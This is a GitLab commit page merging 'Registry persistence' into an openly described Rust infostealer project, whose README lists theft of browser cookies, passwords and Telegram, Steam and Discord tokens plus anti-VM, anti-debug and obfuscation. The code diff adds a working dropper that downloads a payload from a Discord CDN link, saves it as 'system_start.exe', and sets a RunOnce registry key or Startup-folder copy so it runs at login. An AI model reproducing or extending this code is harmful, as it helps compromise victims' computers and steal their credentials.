Skip to content
Snippets Groups Projects
Commit 9ea5e2ff authored by Morin Evan's avatar Morin Evan
Browse files

Merge branch 'evan' into 'main'

Registry persistence

See merge request !2
parents 330454f0 adf3926b
No related branches found
No related tags found
1 merge request!2Registry persistence
......@@ -22,7 +22,13 @@ Additional:
- browser cookies
- browser passwords
- telegram, steam, discord tokens
- persistence via regkey
- persistence via regkey
- anti-VM, anti-debug
- packing
- obfuscation
## Inspirations
https://github.com/Abdulrhmanbk/discoon-malware/
https://github.com/doenerium69/doenerium
......@@ -8,3 +8,5 @@ edition = "2021"
[dependencies]
reqwest = "*"
tokio = { version = "1", features = ["full"] }
directories = "5.0.1"
winreg = "0.50.0"
use std::{io::Cursor, env::var_os};
use directories::UserDirs;
use std::path::Path;
use winreg::enums::*;
use winreg::RegKey;
type Result<T> = std::result::Result<T, Box<dyn std::error::Error + Send + Sync>>;
async fn fetch_url(url: String, file_name: String) -> Result<()> {
async fn download_payload(file_name: String) -> Result<()> {
let url = "https://cdn.discordapp.com/attachments/690308962696167469/1108306000726999111/a_suppr.txt".to_string();
let response = reqwest::get(url).await?;
let mut file = std::fs::File::create(file_name)?;
let mut content = Cursor::new(response.bytes().await?);
......@@ -11,9 +16,29 @@ async fn fetch_url(url: String, file_name: String) -> Result<()> {
#[tokio::main]
async fn main() {
let test = var_os("APPDATA").unwrap();
let appdata = test.to_str().unwrap();
let right_path = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system_start.exe";
let startup = format!("{}{}", appdata, right_path);
fetch_url("URL HERE".to_string(), startup.to_string()).await.unwrap();
if true {
let user_dirs = UserDirs::new().unwrap() ;
let homedir = user_dirs.home_dir().to_str().unwrap();
let path = format!("{}{}", homedir, "\\system_start.exe");
download_payload(path.to_string()).await.unwrap();
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let reg_path = Path::new("Software")
.join("Microsoft")
.join("Windows")
.join("CurrentVersion")
.join("RunOnce");
let (key, _) = hkcu.create_subkey(&reg_path).unwrap();
key.set_value("System start", &path).unwrap();
}else{
let test = var_os("APPDATA").unwrap();
let appdata = test.to_str().unwrap();
let right_path = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system_start.exe";
let path = format!("{}{}", appdata, right_path);
download_payload(path.to_string()).await.unwrap();
}
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment